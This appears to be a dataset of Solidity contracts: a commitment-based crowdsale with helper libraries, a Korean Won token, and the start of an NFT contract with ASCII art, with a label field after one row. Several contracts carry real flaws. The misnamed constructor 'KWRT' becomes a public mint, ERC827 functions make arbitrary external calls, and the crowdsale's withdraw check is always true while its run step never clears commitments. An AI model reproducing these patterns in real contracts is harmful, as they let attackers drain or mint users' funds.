* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @title CommitmentCrowdsale
* @dev CommitmentCrowdsale is a contract for managing token crowdsale,
* allowing investors to purchase the tokens with native coin.
*/
contract CommitmentCrowdsale is AccessControl, ReentrancyGuard {
using SafeERC20 for IERC20;
enum State { None, Opened, Closed }
uint256 public constant PRECISION = 10 ** 18;
bool private _paused;
State private _state;
uint256 private _price;
uint256 private _min;
uint256 private _max;
uint256 private _timeout;
uint256 private _tokensSold;
uint256 private _totalSupply;
// Wallet for commitment treasury
address private _wallet;
// Commitment storage
mapping(address => uint256) private _commitment;
event PauseUpdated(bool paused);
event SaleOpened(address account);
event SaleClosed(address account);
event SaleSetup(uint256 price, uint256 min, uint256 max, uint256 totalSupply);
event Committed(address indexed beneficiary, uint256 amount);
event Unstaked(address indexed beneficiary, uint256 amount);
event CommitmentFulfilled(address indexed beneficiary, uint256 commitment, uint256 amount);
constructor(address wallet_) {
_wallet = wallet_;
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
/**
* @dev returns true if the crowdsale is paused.
*/
function isPaused()
public
view
returns (bool)
{
return _paused;
}
/**
* @dev updates pause state of the crowdsale.
* @param paused_ new state.
*/
function setPaused(bool paused_)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
_paused = paused_;
emit PauseUpdated(_paused);
}
/**
* @dev returns setup parameters.
*/
function getSetup()
external
view
returns (State state, uint256 price, uint256 min, uint256 max, uint256 timeout, uint256 tokensSold, uint256 totalSupply)
{
state = _state;
price = _price;
min = _min;
max = _max;
timeout = _timeout;
tokensSold = _tokensSold;
totalSupply = _totalSupply;
}
/**
* @dev setup of sale.
* @param price_ price per token unit.
* @param min_ min commitment.
* @param max_ max commitment.
* @param totalSupply_ max amount of tokens available in the sale.
*/
function setup(uint256 price_, uint256 min_, uint256 max_, uint256 totalSupply_)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
require(!isPaused(), "setup: sale is paused");
_price = price_;
_min = min_;
_max = max_;
_totalSupply = totalSupply_;
emit SaleSetup(price_, min_, max_, totalSupply_);
}
/**
* @dev opens sale for investment.
* @param timeout_ sale timeout.
*/
function openSale(uint256 timeout_)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
require(!isPaused(), "openSale: sale is paused");
require(_state == State.None, "openSale: sale is already opened or closed");
require(timeout_ > block.timestamp, "openSale: invalid timeout");
_state = State.Opened;
_timeout = timeout_;
emit SaleOpened(_msgSender());
}
/**
* @dev closes sale for investment.
*/
function closeSale()
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
require(!isPaused(), "closeSale: sale is paused");
require(_state == State.Opened, "closeSale: sale is not opened");
_state = State.Closed;
emit SaleClosed(_msgSender());
}
/**
* @dev returns commitment balance of beneficiary.
* @param beneficiary_ address performing the token purchase.
*/
function commitmentOf(address beneficiary_)
public
view
returns (uint256)
{
return _commitment[beneficiary_];
}
/**
* @dev commit native token.
*/
function commit()
external
payable
nonReentrant()
{
address beneficiary = _msgSender();
uint256 amount = msg.value;
require(!isPaused(), "commit: sale is paused");
require(_state == State.Opened, "commit: sale is not opened");
require(_min <= amount, "commit: min condition not satisfied");
require(_max >= commitmentOf(beneficiary) + amount, "commit: max condition not satisfied");
require(block.timestamp < _timeout, "commit: sale timeout");
_commitment[beneficiary] += amount;
emit Committed(beneficiary, amount);
}
/**
* @dev withdraw committed native coins.
*/
function withdraw()
external
nonReentrant()
{
address beneficiary = _msgSender();
require(!isPaused(), "withdraw: sale is paused");
require(_commitment[beneficiary] >= 0, "withdraw: amount exceeded commitment balance");
if(_state == State.Opened) {
require(block.timestamp > _timeout, "withdraw: commitment not elapsed");
} else {
require(_state == State.Closed, "withdraw: sale is not closed");
}
uint256 amount = _commitment[beneficiary];
_commitment[beneficiary] = 0;
(bool success, ) = beneficiary.call{value: amount}("");
require(success, "withdraw: transfer failed");
emit Unstaked(beneficiary, amount);
}
/**
* @dev runs sale for winners
* @param beneficiaries_ pre-committed winners.
*/
function run(address[] calldata beneficiaries_)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
require(_state == State.Opened, "run: sale is not opened");
require(block.timestamp < _timeout, "run: sale timeout");
uint256 totalCommitment;
for(uint256 i = 0; i < beneficiaries_.length; i++) {
totalCommitment += _commitment[beneficiaries_[i]];
}
uint256 totalTokens = _getTokenAmount(totalCommitment);
require(totalTokens + _tokensSold <= _totalSupply, "run: total supply exceeded");
_tokensSold += totalTokens;
(bool success, ) = _wallet.call{value: totalCommitment}("");
require(success, "run: transfer failed");
for(uint256 i = 0; i < beneficiaries_.length; i++) {
address beneficiary = beneficiaries_[i];
uint256 commitment = _commitment[beneficiary];
if(commitment > 0) {
emit CommitmentFulfilled(beneficiary, commitment, _getTokenAmount(commitment));
}
}
}
/**
* @dev returns amount of purchased tokens with specified commitment.
* @param commitment_ amount of commitment.
*/
function _getTokenAmount(uint256 commitment_)
internal
view
returns (uint256)
{
return (commitment_ * PRECISION) / _price;
}
/**
* @dev allows to recover ERC20 from contract.
* @param token_ ERC20 token address.
* @param amount_ ERC20 token amount.
*/
function recoverERC20(address token_, uint256 amount_)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
IERC20(token_).safeTransfer(_wallet, amount_);
}
/**
* @dev allows to recover native coin from contract.
* @param amount_ native coin amount.
*/
function recover(uint256 amount_)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
(bool success, ) = _wallet.call{value: amount_}("");
require(success, "recover: transfer failed");
}
receive()
external
payable
{
// solhint-disable-previous-line no-empty-blocks
}
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|
pragma solidity ^0.4.21;
// ----------------------------------------------------------------------------
// TOKENMOM Korean Won(KRWT) Smart contract Token V.10
//
// Deployed to : 0x8af2d2e23f0913af81abc6ccaa6200c945a161b4
// Symbol : BETA
// Name : TOKENMOM Korean Won
// Total supply: 100000000000
// Decimals : 8
// ----------------------------------------------------------------------------
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract ERC827 is ERC20 {
function approve( address _spender, uint256 _value, bytes _data ) public returns (bool);
function transfer( address _to, uint256 _value, bytes _data ) public returns (bool);
function transferFrom(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
returns (bool);
}
contract ERC827Token is ERC827, StandardToken {
function approve(address _spender, uint256 _value, bytes _data) public returns (bool) {
require(_spender != address(this));
super.approve(_spender, _value);
require(_spender.call(_data));
return true;
}
function transfer(address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
super.transfer(_to, _value);
require(_to.call(_data));
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value,
bytes _data
)
public returns (bool)
{
require(_to != address(this));
super.transferFrom(_from, _to, _value);
require(_to.call(_data));
return true;
}
function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.increaseApproval(_spender, _addedValue);
require(_spender.call(_data));
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.decreaseApproval(_spender, _subtractedValue);
require(_spender.call(_data));
return true;
}
}
contract KRWT is StandardToken {
string constant public name = "Korean Won";
string constant public symbol = "KRWT";
uint8 constant public decimals = 8;
uint public totalSupply = 100000000000 * 10**uint(decimals);
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
uint256 public constant INITIAL_SUPPLY = 100000000000 * (10 ** uint256(decimals));
function KWRT () public {
balances[msg.sender] = totalSupply;
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: Golamis by RWR2
/// @author: manifold.xyz
import "./ERC721Creator.sol";
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// //
// ////////(/////////////(///(///////////////////////////////////////////////////////////(//(//////////////////////(/////////////////////(////////(//////////////// //
// /////////////////////////////////////////(//////////////////////(/////////////////////////////////////////////////////////////////(//(/(//////////////////////// //
// ///////////(////(///////////////((///////////(/////////(///(////(/(#&&&&&&&&&&&&&&&&&&&&%(/////(/////////(//////////////////////////(/////////////////////////// //
// //(/////////////////////////////////////////////////////////(%&&&&&&&#/,. ,*(%&&&&&&&&#(/////////////////////////(////////(////////(////////////////// //
// //////////(//////////////////////////////////////////////&&&&&&/ /&&&&&&&//////////////////////(//(//////////////////((//(((/////// //
// ///////////////////////////////////////((///(////////(&&&&%. ,%&&&&%(/////////////////(//////////////////////////(//(///// //
// ////(///(///(////////((////////////(////(/////////(&&&&# &&&&&(/(////////////////////////////////////////////(/// //
// /(///////////////////(/////////////(////////////#&&&% #&&&&(////////(////////(///////////////////////////// //
// /(///(////(///////////////////(//////////(////%&&&( . .&&&&(//////(////////////////////////////////////// //
// ////////////////////(////////////////(//////#&&&* . . %&&&(///////////(///(///////////////////////(/// //
// /(////////((////(/////////////////////////(&&&/ &&&&//////////////(/////(//(////////(////////( //
// ///(////(////////////////////////////////&&&% *&&&(/////////(/////////////////////////////( //
// //////////////////(///////(////////////(&&&. . &&&%//(/(/////////////(//////////////////// //
// ////(////////((////////(////(/((///(/(&&&% (&&&&&* .*/* ,&&&&, %&&%////////////////////////////////////// //
// /////////////////////////////////////&&&* . ,&&&&&&& ,&&&&&&& %&&&&&&# %&&%///////(////////////(///(//////////// //
// ///////(///(/////////////////(/////(&&&/.. %&&&% (&&%,,/&&% &&&&&&. %&&(//////////////(///////////////////// //
// ///(//(//(/(////////////(////(//////#&&&&&&&&&&&&&#(, . .&&&,,,,&&& &&&//////////////////////////(//////(// //
// //////////////////////////////(///(//////#&&&&&&&&&&&&&&&&&&&&&/. . &&&&&&&&( (&&%//////(/////////(////////////(///// //
// ///(////(////////(////(////////(////////(//////#%&&&&&&&&&&&&&&&&&&&&&&&&&#(* &&&(///((/(//((//////(////(////////(/( //
// ///(///////////////(////////////////////////////(//////#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&(. #&&#////(////(///(///((///(///(//////( //
// /(///(//((//(/////////(///////////////////////(////(/////(/////(##%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&#(*. &&&////////////((///(////////(////(// //
// //////////////(//////////////////////((///(///(///(////(///(////(////(/(/(//(#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&#, &&&////////(///////////////(/(//////( //
// /(///////(////////////(//////////(%&&&&&&%%###(((((/(//(/(/(/////////(///(/(//////(////////((#%%&&&&&&&&&&&&&&&&&&&&&&&&&&%&&&///////////(///////(////(/(//(//// //
// ////////(/(/(////(//////((////(///#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%#((//////(//(////(////((/////////////(((%%&&&&&&&&//////(/////////////////////////// //
// ////(/////////////(////////(///(///&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%###((((///(////(//(/(/(/(//////(/(//////////////////( //
// ///((/////////////(/(//////(///////(&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&#//(////(/////////(//(//////////(/( //
// ////////////////////////(////////(//%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&//(/(///(/////////(//////////////// //
// ////////////////////(///////////////(%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&..,&&&&&&&&&&&&*#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&//////////////(//(/(////////(//////( //
// /////(//////////////////(////////((/(/&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&&&* .&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&(/////(///(///(////////((//(////(///( //
// /////////////////(/////////////////////%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&, (&( %&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&(/////////(////(///(/////////////(///( //
// /(/(//////////////(/(//////////(/((////(#&&&&&&&&&&&,,,,/&&&&&&&&&&&&&&&&&&# /&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%////(/(/(//////(////(////////////////// //
// /(///(///////(///////(((//((///(/(/(//(//(&&&&&&&&&&&%#&&&&&&&&&&&&&&&&&&&. %&&&&&&&&&&&&&&&&&&%,,,,%&&&&&&&&&&&&#/////(////(////////////((/////////////// //
// /////////////////(((/(/////(////(//(///(((/%&&&&&&&&&&&&&&&&&&&&&&&&&&&* ,&&&&. #&&&&&&&&&&&&&&&&&&**&&&&&&&&&&&&&(///(//((////////(//(/////(////(///////(// //
// ///(/(((//(////(////////((///(//////////////(&&&&&&&&&&&&&&&&&&&&&&&&( .%&&&&&&&&/ *&&&&&&&&&&&&&&&&&&&&&&&&&&&&&#/////(///////(///(//(((/(/((/(((/(/((///(// //
// /(///((////(////(//(/(///(//((///((//(///(((///&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&(&&&&&&&&&&&&&&&&&&&&&&&&&&&&%/////////(///(///(///////////////////(//////( //
// /////(//((/////(/////(//////(////((//////////////%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%/(//(/////////(/////(//(//(/(///////////(/////( //
// ///((///(/////(/((////((/(((///(///(/(/////////////(&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&#/(///(((//((////(///////(//(//(//////(/(//(/(///( //
